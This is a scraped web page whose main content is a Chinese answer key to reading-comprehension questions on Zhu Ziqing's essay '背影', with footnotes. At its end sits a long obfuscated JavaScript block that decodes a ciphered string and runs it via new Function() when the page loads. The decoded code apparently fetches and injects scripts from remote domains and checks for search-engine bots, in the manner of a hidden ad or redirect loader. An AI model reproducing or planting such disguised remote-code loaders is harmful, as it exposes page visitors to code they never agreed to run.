参考答案
banner"
>
一、填空题
1.佩弦 散文家 诗人
2.略。
3.（1）浓厚 （2）深厚 （3）依恋 （4）思念
4.（1）看到祖母去世、父亲赋闲、家境惨淡而伤心地流泪。
（2）儿子清楚地看到父亲竟为自己做着力不胜任的工作，理解了父亲对自己的那颗仁爱之心，流下感动之泪。
（3）接到父亲的信后，想着父亲现在的情形，表达了对父亲的担忧和深深的思念。
（意近即可）
5.第一句好。
“太聪明”
和“太不懂事”
都能表达作者自责的感情，但前者是讽刺性自责，后者是一般自责，前者更准确生动。
6.线索 贯穿全文
7.第一次、第四次是心中的背影，第二次、第三次是写眼中的背影。
8.（1）触目伤怀 （2）祸不单行 （3）情郁于中 （4）迂
9.因为南京的见闻与本文主题无关。
（意近即可）
10.（1）说明父亲反复嘱咐已是很周到，但还是不放心，表现父亲对儿子深切的爱。
（2）父亲亲自为“我”
选座位，担心“我”
，反复叮嘱，表现父亲对儿子关心、照顾无微不至，体现父亲对儿子的挚爱。
11.（1）准确，一是写出了人多，二是写出父亲的平凡，没有特别之处。
（2）赋闲之前 （3）去世
二、阅读理解与分析
12.（1）心 停止 这里是控制的意思 （2）心里 （3）只是
13.（1）境况 状况 情景 表示估计（2）衰颓败落 精神委靡
14.……他待我渐渐不同往日。
||但最近两年的不见，……
15.哪知老境如此颓唐
16.看了父亲的信后又勾起了作者对父亲的思念。
B
17.唉!我不知何时再能与他相见!
18.是对背影描写的深化，一方面起到了照应开头的作用，另一方面继续加深背影的形象。
19.写别后思念，泪光中再现背影，抒发怀念父亲之情。
[1]上海师范大学学科教学语文硕士，上海师范大学第三附属实验学校初中语文老师。
[2]吴岫光.…浅谈朱自清散文的叠词运用[J].…北京师范大学学报:社会科学版，…1987（02）:108-112.…——作者注
请关闭浏览器阅读模式后查看本章节，否则将出现无法翻页或章节内容丢失等现象。
!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();